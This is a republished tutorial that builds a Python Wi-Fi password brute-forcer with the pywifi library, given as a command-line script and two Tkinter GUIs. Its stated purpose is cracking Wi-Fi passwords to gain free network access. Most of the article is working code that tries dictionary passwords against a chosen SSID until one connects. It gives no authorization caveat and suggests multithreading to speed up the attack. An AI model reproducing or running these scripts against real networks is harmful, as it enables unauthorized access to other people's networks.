Build a Python Wi‑Fi Password Cracker with CLI and GUI

This article walks through creating a Python script that uses the pywifi library to brute‑force Wi‑Fi passwords, shows how to improve flexibility with command‑line arguments, and demonstrates two graphical interfaces built with Tkinter for a more user‑friendly cracking tool.

Open Source Linux
Open Source Linux
Open Source Linux
Build a Python Wi‑Fi Password Cracker with CLI and GUI

Introduction

This guide records how to use a Python script to perform a brute‑force attack on Wi‑Fi passwords, enabling free network access.

Command‑line version (no GUI)

The initial script connects to a specified SSID, reads passwords from a dictionary file, and attempts each password until a successful connection is made.

import pywifi
from pywifi import const
import time, datetime

def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        time.sleep(2)
        return ifaces.status() == const.IFACE_CONNECTED
    else:
        print("已有wifi连接")

def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline().strip('
')
            if wifiConnect(pwd):
                print("[*] 密码已破解:", pwd)
                print("[*] WiFi已自动连接!!!")
                success = True
                break
            else:
                print(f"正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
        except:
            continue
    end = datetime.datetime.now()
    if success:
        print(f"[*] 本次破解WIFI密码一共用了多长时间:{end - start}")
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
    exit(0)

if __name__ == "__main__":
    readPassword()

Running the script shows the cracking progress and final result.

CLI execution result
CLI execution result

Script optimization

The original script hard‑codes the SSID and dictionary path, limiting flexibility. The improved version adds Wi‑Fi scanning, lets the user select a network, and prompts for a dictionary file.

import pywifi, time
from pywifi import const

def wifi_scan():
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    iface.scan()
    for i in range(4):
        time.sleep(1)
        print(f"\r扫描可用 WiFi 中,请稍后...({3 - i})", end='')
    print('\r扫描完成!')
    results = iface.scan_results()
    wifi_set = set()
    for w in results:
        wifi_set.add((100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')))
    wifi_list = sorted(list(wifi_set), key=lambda x: x[0], reverse=True)
    for idx, (sig, name) in enumerate(wifi_list):
        print(f"{idx:<6}{sig:<8}{name}")
    return wifi_list

# ... (rest of the optimized cracking functions similar to the original but using the selected SSID and user‑provided dictionary)

Graphical user interface (Tkinter)

A simple Tkinter UI is built to let users input the Wi‑Fi name, select a password file, and start cracking with visual feedback.

from tkinter import *
import pywifi, time
from pywifi import const

def wificonnect(pwd, ssid):
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    iface.disconnect()
    time.sleep(1)
    if iface.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        iface.remove_all_network_profiles()
        tmp = iface.add_network_profile(profile)
        iface.connect(tmp)
        time.sleep(3)
        return iface.status() == const.IFACE_CONNECTED
    return False

def readPwd():
    ssid = entry.get().strip()
    path = "pwd.txt"
    with open(path, 'r') as f:
        for line in f:
            pwd = line.strip()
            if wificonnect(pwd, ssid):
                text.insert(END, f"密码正确: {pwd}
")
                break
            else:
                text.insert(END, f"密码错误: {pwd}
")
                text.see(END)
                text.update()

root = Tk()
root.title('wifi破解')
root.geometry('500x400')
Label(root, text='输入要破解的WIFI名称:').grid(row=0, column=0)
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
Button(root, text='开始破解', command=readPwd).grid(row=2, columnspan=2)
root.mainloop()
Simple UI execution
Simple UI execution

Upgraded UI

The upgraded interface adds a network list, file‑dialog for selecting the password dictionary, and status messages using ttk widgets.

from tkinter import *, ttk, filedialog, messagebox
import pywifi, time
from pywifi import const

class MY_GUI:
    def __init__(self, win):
        self.win = win
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        self.file_path = StringVar()
        self.ssid = StringVar()
        self.password = StringVar()
        self.setup_ui()
    def setup_ui(self):
        self.win.title('WIFI破解工具')
        self.win.geometry('500x400')
        lf = LabelFrame(self.win, text='配置')
        lf.grid(padx=10, pady=10)
        Button(lf, text='搜索附近WiFi', command=self.scan_wifi).grid(row=0, column=0)
        Button(lf, text='开始破解', command=self.start_crack).grid(row=0, column=1)
        Entry(lf, textvariable=self.file_path, width=30).grid(row=1, column=1)
        Button(lf, text='添加密码文件', command=self.add_file).grid(row=1, column=2)
        Entry(lf, textvariable=self.ssid, width=30).grid(row=2, column=1)
        # Treeview for Wi‑Fi list omitted for brevity
    def add_file(self):
        self.file_path.set(filedialog.askopenfilename())
    def scan_wifi(self):
        self.iface.scan()
        time.sleep(5)
        results = self.iface.scan_results()
        # Populate treeview
    def start_crack(self):
        with open(self.file_path.get(), 'r', errors='ignore') as f:
            for line in f:
                pwd = line.strip()
                if self.attempt(pwd, self.ssid.get()):
                    messagebox.showinfo('成功', f'密码为: {pwd}')
                    break
    def attempt(self, pwd, ssid):
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        self.iface.remove_all_network_profiles()
        tmp = self.iface.add_network_profile(profile)
        self.iface.connect(tmp)
        time.sleep(5)
        return self.iface.status() == const.IFACE_CONNECTED

if __name__ == '__main__':
    root = Tk()
    app = MY_GUI(root)
    root.mainloop()
Upgraded UI execution
Upgraded UI execution

Summary

The article demonstrates how to brute‑force Wi‑Fi passwords with Python and how to build both command‑line and graphical tools using pywifi and Tkinter. It notes that the current implementations lack multithreading, which would significantly reduce the time spent waiting for connection attempts.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

Pythoninformation securityTkinterbrute forcepywifiwifi cracking
Open Source Linux
Written by

Open Source Linux

Focused on sharing Linux/Unix content, covering fundamentals, system development, network programming, automation/operations, cloud computing, and related professional knowledge.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.